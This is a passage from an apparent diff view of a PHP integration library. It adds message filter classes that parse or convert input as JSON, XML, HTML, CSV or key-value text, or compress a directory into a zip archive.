|
79 |
+
*
|
80 |
+
* @return Ampersand_Object
|
81 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
82 |
+
*/
|
83 |
+
public function getConfig()
|
84 |
+
{
|
85 |
+
if (is_null($this->_config)) {
|
86 |
+
$this->_config = new Ampersand_Object($this->_getDefaultConfigData());
|
87 |
+
}
|
88 |
+
|
89 |
+
return $this->_config;
|
90 |
+
}
|
91 |
+
|
92 |
+
/**
|
93 |
+
* Gets the default config data for this filter class
|
94 |
+
*
|
95 |
+
* @return array
|
96 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
97 |
+
*/
|
98 |
+
protected function _getDefaultConfigData()
|
99 |
+
{
|
100 |
+
return array();
|
101 |
+
}
|
102 |
+
}
|
lib/Ampersand/Integration/Message/Filter/AmpersandObject.php
ADDED
@@ -0,0 +1,33 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Joseph McDermptt <joseph.mcdermott@ampersandcommerce.com>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_AmpersandObject
|
19 |
+
extends Ampersand_Integration_Message_Filter_Abstract
|
20 |
+
{
|
21 |
+
/**
|
22 |
+
* Attempts to convert an XML string to an Ampersand_Object
|
23 |
+
*
|
24 |
+
* @param mixed $input
|
25 |
+
* @param Ampersand_Object $config
|
26 |
+
* @return Ampersand_Object
|
27 |
+
* @author Joseph McDermott <joseph.mcdermott@ampersandcommerce.com>
|
28 |
+
*/
|
29 |
+
protected function _filter($input, Ampersand_Object $config)
|
30 |
+
{
|
31 |
+
return new Ampersand_Object($input);
|
32 |
+
}
|
33 |
+
}
|
lib/Ampersand/Integration/Message/Filter/CompressDirectory.php
ADDED
@@ -0,0 +1,120 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_CompressDirectory
|
19 |
+
extends Ampersand_Integration_Message_Filter_Abstract
|
20 |
+
{
|
21 |
+
/**
|
22 |
+
* Attempts to convert an HTML string to a DOMDocument object
|
23 |
+
*
|
24 |
+
* @param string $directoryName
|
25 |
+
* @param Ampersand_Object $config
|
26 |
+
* @return string
|
27 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
28 |
+
*/
|
29 |
+
protected function _filter($directoryName, Ampersand_Object $config)
|
30 |
+
{
|
31 |
+
$filter = $this->_getZendFilter($config);
|
32 |
+
|
33 |
+
$this->_prepareArchive($filter->getAdapter()->getArchive());
|
34 |
+
|
35 |
+
$archiveFilePath = $filter->compress($directoryName);
|
36 |
+
|
37 |
+
return file_get_contents($archiveFilePath);
|
38 |
+
}
|
39 |
+
|
40 |
+
/**
|
41 |
+
* Prepares a file to be written to at the specified path
|
42 |
+
*
|
43 |
+
* @param string $filePath
|
44 |
+
* @return Ampersand_Integration_Message_Filter_CompressDirectory
|
45 |
+
* @author Matthew Haworth <matthew.haworth@ampersandit.co.uk>
|
46 |
+
*/
|
47 |
+
protected function _prepareArchive($filePath)
|
48 |
+
{
|
49 |
+
$dirName = dirname($filePath);
|
50 |
+
if (!file_exists($dirName) && !@mkdir($dirName, 0777, true)) {
|
51 |
+
throw new Ampersand_Integration_Message_Filter_Exception(
|
52 |
+
"Unable to create directory at '$dirName'"
|
53 |
+
);
|
54 |
+
}
|
55 |
+
|
56 |
+
if (!touch($filePath)) {
|
57 |
+
throw new Ampersand_Integration_Message_Filter_Exception(
|
58 |
+
"Unable to create archive at '$filePath'"
|
59 |
+
);
|
60 |
+
}
|
61 |
+
|
62 |
+
return $this;
|
63 |
+
}
|
64 |
+
|
65 |
+
/**
|
66 |
+
* Creates a Zend Filter instance to be used for compression
|
67 |
+
*
|
68 |
+
* @param Ampersand_Object $config
|
69 |
+
* @return Zend_Filter_Interface
|
70 |
+
* @author Matthew Haworth <matthew.haworth@ampersandit.co.uk>
|
71 |
+
*/
|
72 |
+
protected function _getZendFilter(Ampersand_Object $config)
|
73 |
+
{
|
74 |
+
$compressFilter = new Ampersand_Filter_Compress();
|
75 |
+
|
76 |
+
$compressFilter->setOptions($config->getData());
|
77 |
+
|
78 |
+
return $compressFilter;
|
79 |
+
}
|
80 |
+
|
81 |
+
/**
|
82 |
+
* Gets the default config data for this filter class
|
83 |
+
*
|
84 |
+
* @return array
|
85 |
+
*/
|
86 |
+
protected function _getDefaultConfigData()
|
87 |
+
{
|
88 |
+
return array(
|
89 |
+
'adapter' => 'zip',
|
90 |
+
'adapterOptions' => $this->_getDefaultAdapterOptions(),
|
91 |
+
);
|
92 |
+
}
|
93 |
+
|
94 |
+
/**
|
95 |
+
* Gets the default adapter config data
|
96 |
+
*
|
97 |
+
* @return array
|
98 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
99 |
+
*/
|
100 |
+
protected function _getDefaultAdapterOptions()
|
101 |
+
{
|
102 |
+
$directory = $this->_getDefaultWriteDirectory();
|
103 |
+
$filePath = $directory . DS . 'archive_' . time() . '.tmp';
|
104 |
+
|
105 |
+
return array(
|
106 |
+
'archive' => $filePath,
|
107 |
+
);
|
108 |
+
}
|
109 |
+
|
110 |
+
/**
|
111 |
+
* Gets the default directory to write files to
|
112 |
+
*
|
113 |
+
* @return string
|
114 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
115 |
+
*/
|
116 |
+
protected function _getDefaultWriteDirectory()
|
117 |
+
{
|
118 |
+
return dirname(__FILE__);
|
119 |
+
}
|
120 |
+
}
|
lib/Ampersand/Integration/Message/Filter/DomHtml.php
ADDED
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_DomHtml
|
19 |
+
extends Ampersand_Integration_Message_Filter_Abstract
|
20 |
+
{
|
21 |
+
/**
|
22 |
+
* Attempts to convert an HTML string to a DOMDocument object
|
23 |
+
*
|
24 |
+
* @param string $input
|
25 |
+
* @param Ampersand_Object $config
|
26 |
+
* @return DOMDocument
|
27 |
+
* @throws Ampersand_Integration_Message_Filter_Exception Thrown if string is not able to be
|
28 |
+
* parsed as HTML
|
29 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
30 |
+
*/
|
31 |
+
protected function _filter($input, Ampersand_Object $config)
|
32 |
+
{
|
33 |
+
$disableEntityLoader = libxml_disable_entity_loader(true);
|
34 |
+
|
35 |
+
try {
|
36 |
+
$output = @DOMDocument::loadHTML($input);
|
37 |
+
} catch (Exception $e) {
|
38 |
+
libxml_disable_entity_loader($disableEntityLoader);
|
39 |
+
|
40 |
+
throw $e;
|
41 |
+
}
|
42 |
+
|
43 |
+
libxml_disable_entity_loader($disableEntityLoader);
|
44 |
+
|
45 |
+
if (false === $output) {
|
46 |
+
throw new Ampersand_Integration_Message_Filter_Exception('Unable to parse HTML');
|
47 |
+
}
|
48 |
+
|
49 |
+
return $output;
|
50 |
+
}
|
51 |
+
}
|
lib/Ampersand/Integration/Message/Filter/Exception.php
ADDED
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_Exception extends Ampersand_Integration_Exception
|
19 |
+
{
|
20 |
+
|
21 |
+
}
|
lib/Ampersand/Integration/Message/Filter/Interface.php
ADDED
@@ -0,0 +1,24 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
interface Ampersand_Integration_Message_Filter_Interface
|
19 |
+
extends Ampersand_Integration_ConfigurableInterface
|
20 |
+
{
|
21 |
+
public function filter($input);
|
22 |
+
|
23 |
+
public function setConfig(Ampersand_Object $config);
|
24 |
+
}
|
lib/Ampersand/Integration/Message/Filter/Json.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_Json
|
19 |
+
extends Ampersand_Integration_Message_Filter_Abstract
|
20 |
+
{
|
21 |
+
/**
|
22 |
+
* Attempts to convert a JSON string to an array or object
|
23 |
+
*
|
24 |
+
* @param string $input
|
25 |
+
* @param Ampersand_Object $config
|
26 |
+
* @return DOMDocument
|
27 |
+
* @throws Ampersand_Integration_Message_Filter_Exception Thrown if string is not able to be
|
28 |
+
* parsed as JSON
|
29 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
30 |
+
*/
|
31 |
+
protected function _filter($input, Ampersand_Object $config)
|
32 |
+
{
|
33 |
+
try {
|
34 |
+
$output = Zend_Json::decode($input);
|
35 |
+
} catch (Exception $e) {
|
36 |
+
throw new Ampersand_Integration_Message_Filter_Exception('Unable to parse JSON string');
|
37 |
+
}
|
38 |
+
|
39 |
+
return $output;
|
40 |
+
}
|
41 |
+
}
|
lib/Ampersand/Integration/Message/Filter/KeyValue.php
ADDED
@@ -0,0 +1,47 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Joseph McDermptt <joseph.mcdermott@ampersandcommerce.com>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_KeyValue
|
19 |
+
extends Ampersand_Integration_Message_Filter_Abstract
|
20 |
+
{
|
21 |
+
/**
|
22 |
+
* Attempts to convert key value pairs to an array.
|
23 |
+
*
|
24 |
+
* @param mixed $input
|
25 |
+
* @param Ampersand_Object $config
|
26 |
+
* @return array
|
27 |
+
* @author Joseph McDermott <joseph.mcdermott@ampersandcommerce.com>
|
28 |
+
*/
|
29 |
+
protected function _filter($input, Ampersand_Object $config)
|
30 |
+
{
|
31 |
+
$output = array();
|
32 |
+
|
33 |
+
foreach (explode(PHP_EOL, $input) as $_keyValue) {
|
34 |
+
$_keyValueParts = explode('=', $_keyValue, 2);
|
35 |
+
if (count($_keyValueParts) != 2) {
|
36 |
+
continue;
|
37 |
+
}
|
38 |
+
|
39 |
+
$_key = trim($_keyValueParts[0]);
|
40 |
+
$_value = trim($_keyValueParts[1]);
|
41 |
+
|
42 |
+
$output[$_key] = $_value;
|
43 |
+
}
|
44 |
+
|
45 |
+
return $output;
|
46 |
+
}
|
47 |
+
}
|
lib/Ampersand/Integration/Message/Filter/Provider.php
ADDED
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_Provider extends Ampersand_ClassProvider
|
19 |
+
{
|
20 |
+
protected $_classes = array(
|
21 |
+
'compress_dir' => 'Ampersand_Integration_Message_Filter_CompressDirectory',
|
22 |
+
'dom_html' => 'Ampersand_Integration_Message_Filter_DomHtml',
|
23 |
+
'json' => 'Ampersand_Integration_Message_Filter_Json',
|
24 |
+
'xml_object' => 'Ampersand_Integration_Message_Filter_XmlObject',
|
25 |
+
'xsv' => 'Ampersand_Integration_Message_Filter_Xsv',
|
26 |
+
'ampersand_object' => 'Ampersand_Integration_Message_Filter_AmpersandObject',
|
27 |
+
'key_value' => 'Ampersand_Integration_Message_Filter_KeyValue',
|
28 |
+
);
|
29 |
+
}
|
lib/Ampersand/Integration/Message/Filter/XmlObject.php
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_XmlObject extends Ampersand_Integration_Message_Filter_Abstract
|
19 |
+
{
|
20 |
+
/**
|
21 |
+
* Attempts to convert an XML string to an XML object
|
22 |
+
*
|
23 |
+
* @param string $input
|
24 |
+
* @param Ampersand_Object $config
|
25 |
+
* @return Ampersand_Xml_Element
|
26 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
27 |
+
*/
|
28 |
+
protected function _filter($input, Ampersand_Object $config)
|
29 |
+
{
|
30 |
+
$disableEntityLoader = libxml_disable_entity_loader(true);
|
31 |
+
|
32 |
+
try {
|
33 |
+
$output = Ampersand_Xml::factory($input, false, $config->getData('class'));
|
34 |
+
} catch (Exception $e) {
|
35 |
+
libxml_disable_entity_loader($disableEntityLoader);
|
36 |
+
throw $e;
|
37 |
+
}
|
38 |
+
|
39 |
+
libxml_disable_entity_loader($disableEntityLoader);
|
40 |
+
|
41 |
+
return $output;
|
42 |
+
}
|
43 |
+
}
|
lib/Ampersand/Integration/Message/Filter/Xsv.php
ADDED
@@ -0,0 +1,222 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Message_Filter_Xsv
|
19 |
+
extends Ampersand_Integration_Message_Filter_Abstract
|
20 |
+
{
|
21 |
+
const NULL_HEADERS = 'null';
|
22 |
+
const INLINE_HEADERS = 'inline';
|
23 |
+
|
24 |
+
/**
|
25 |
+
* Attempts to convert an HTML string to a DOMDocument object
|
26 |
+
*
|
27 |
+
* @param string $input
|
28 |
+
* @param Ampersand_Object $config
|
29 |
+
* @return mixed
|
30 |
+
* @throws Ampersand_Integration_Message_Filter_Exception Thrown if an invalid headers value is
|
31 |
+
* passed
|
32 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
33 |
+
*/
|
34 |
+
protected function _filter($input, Ampersand_Object $config)
|
35 |
+
{
|
36 |
+
$fileHandle = $this->_getTempFileHandle($input);
|
37 |
+
|
38 |
+
$data = $this->_getDataFromCsvFile($fileHandle, $config);
|
39 |
+
|
40 |
+
if (!$returnClass = $config->getReturnClass()) {
|
41 |
+
return $data;
|
42 |
+
}
|
43 |
+
|
44 |
+
return new $returnClass($data);
|
45 |
+
}
|
46 |
+
|
47 |
+
/**
|
48 |
+
* Gets an array containing an associative array of values for each row in the provided csv file
|
49 |
+
*
|
50 |
+
* @param resource $fileHandle
|
51 |
+
* @param Ampersand_Object $config
|
52 |
+
* @return array
|
53 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
54 |
+
*/
|
55 |
+
protected function _getDataFromCsvFile($fileHandle, Ampersand_Object $config)
|
56 |
+
{
|
57 |
+
$data = array();
|
58 |
+
while ($lineData = $this->fGetCsv($fileHandle, $config)) {
|
59 |
+
$data[] = $lineData;
|
60 |
+
}
|
61 |
+
|
62 |
+
return $this->_prepareCsvData($data, $config);
|
63 |
+
}
|
64 |
+
|
65 |
+
/**
|
66 |
+
* Gets the next line from a csv file based on the provided configuration
|
67 |
+
*
|
68 |
+
* @param resource $fileHandle
|
69 |
+
* @param Ampersand_Object $config
|
70 |
+
* @return array|null|false
|
71 |
+
*/
|
72 |
+
protected function fGetCsv($fileHandle, Ampersand_Object $config)
|
73 |
+
{
|
74 |
+
$delimiter = $this->_filterSpecialCharacters($config->getDelimiter());
|
75 |
+
$enclosure = $this->_filterSpecialCharacters($config->getEnclosure());
|
76 |
+
|
77 |
+
if (version_compare(PHP_VERSION, '5.3.0') < 0) {
|
78 |
+
return fgetcsv($fileHandle, null, $delimiter, $enclosure);
|
79 |
+
}
|
80 |
+
|
81 |
+
$escape = $this->_filterSpecialCharacters($config->getEscape());
|
82 |
+
|
83 |
+
return fgetcsv($fileHandle, null, $delimiter, $enclosure, $escape);
|
84 |
+
}
|
85 |
+
|
86 |
+
/**
|
87 |
+
* Adds field names to the provided csv data. Wraps row datas with objects if an item class was
|
88 |
+
* provided
|
89 |
+
*
|
90 |
+
* @param array $data
|
91 |
+
* @param Ampersand_Object $config
|
92 |
+
* @return array
|
93 |
+
* @throws Ampersand_Integration_Message_Filter_Exception Thrown if an invalid headers value is
|
94 |
+
* passed
|
95 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
96 |
+
*/
|
97 |
+
protected function _prepareCsvData(array $data, Ampersand_Object $config)
|
98 |
+
{
|
99 |
+
$fieldNames = $this->_getFieldNames($data, $config->getHeaders());
|
100 |
+
foreach ($data as $_key => $_data) {
|
101 |
+
if ($fieldNames) {
|
102 |
+
$_data = $this->_prepareItemData($_data, $fieldNames);
|
103 |
+
}
|
104 |
+
|
105 |
+
if ($itemClass = $config->getItemClass()) {
|
106 |
+
$_data = new $itemClass($_data);
|
107 |
+
}
|
108 |
+
|
109 |
+
$data[$_key] = $_data;
|
110 |
+
}
|
111 |
+
|
112 |
+
return $data;
|
113 |
+
}
|
114 |
+
|
115 |
+
/**
|
116 |
+
* Adds field names to the provided data. The array of values will be sliced or padded (with
|
117 |
+
* null values) if its length is not the same as that of the array of field names
|
118 |
+
*
|
119 |
+
* @param array $data
|
120 |
+
* @param array $fieldNames
|
121 |
+
* @return array
|
122 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
123 |
+
*/
|
124 |
+
protected function _prepareItemData(array $data, array $fieldNames)
|
125 |
+
{
|
126 |
+
if (count($data) > count($fieldNames)) {
|
127 |
+
$data = array_slice($data, 0, count($fieldNames));
|
128 |
+
} else if (count($data) < count($fieldNames)) {
|
129 |
+
$data = array_pad($data, count($fieldNames), null);
|
130 |
+
}
|
131 |
+
|
132 |
+
return array_combine($fieldNames, $data);
|
133 |
+
}
|
134 |
+
|
135 |
+
/**
|
136 |
+
* Gets the field names to use within the generated data structure
|
137 |
+
*
|
138 |
+
* @param array $data Passed by reference; if the first element in this array contains the
|
139 |
+
* field names then it will be shifted off the array
|
140 |
+
* @param type $headers Array of field names or string defining how to derive field names
|
141 |
+
* @return null|array
|
142 |
+
* @throws Ampersand_Integration_Message_Filter_Exception Thrown if an invalid headers value is
|
143 |
+
* passed
|
144 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
145 |
+
*/
|
146 |
+
protected function _getFieldNames(array &$data, $headers)
|
147 |
+
{
|
148 |
+
if (self::NULL_HEADERS === $headers) {
|
149 |
+
return null;
|
150 |
+
}
|
151 |
+
|
152 |
+
if (!is_array($headers)) {
|
153 |
+
if ($headers !== self::INLINE_HEADERS) {
|
154 |
+
throw new Ampersand_Integration_Message_Filter_Exception(
|
155 |
+
'Invalid headers configuration provided to XSV filter.'
|
156 |
+
);
|
157 |
+
}
|
158 |
+
|
159 |
+
$headers = array_shift($data);
|
160 |
+
} else {
|
161 |
+
$filteredHeaders = array();
|
162 |
+
|
163 |
+
foreach ($headers as $_key => $_name) {
|
164 |
+
if (is_string($_key) && !strlen($_name)) {
|
165 |
+
$_name = $_key;
|
166 |
+
}
|
167 |
+
$filteredHeaders[] = $_name;
|
168 |
+
}
|
169 |
+
|
170 |
+
$headers = $filteredHeaders;
|
171 |
+
}
|
172 |
+
|
173 |
+
return $headers;
|
174 |
+
}
|
175 |
+
|
176 |
+
/**
|
177 |
+
* Creates a temporary file with the provided content and returns a handle positioned at the
|
178 |
+
* beginning of that file
|
179 |
+
*
|
180 |
+
* @param string $content
|
181 |
+
* @return resource A handle pointing to a temporary file
|
182 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
183 |
+
*/
|
184 |
+
protected function _getTempFileHandle($content)
|
185 |
+
{
|
186 |
+
$handle = tmpfile();
|
187 |
+
fputs($handle, $content);
|
188 |
+
fseek($handle, 0);
|
189 |
+
|
190 |
+
return $handle;
|
191 |
+
}
|
192 |
+
|
193 |
+
/**
|
194 |
+
* Gets the default config data for this filter class
|
195 |
+
*
|
196 |
+
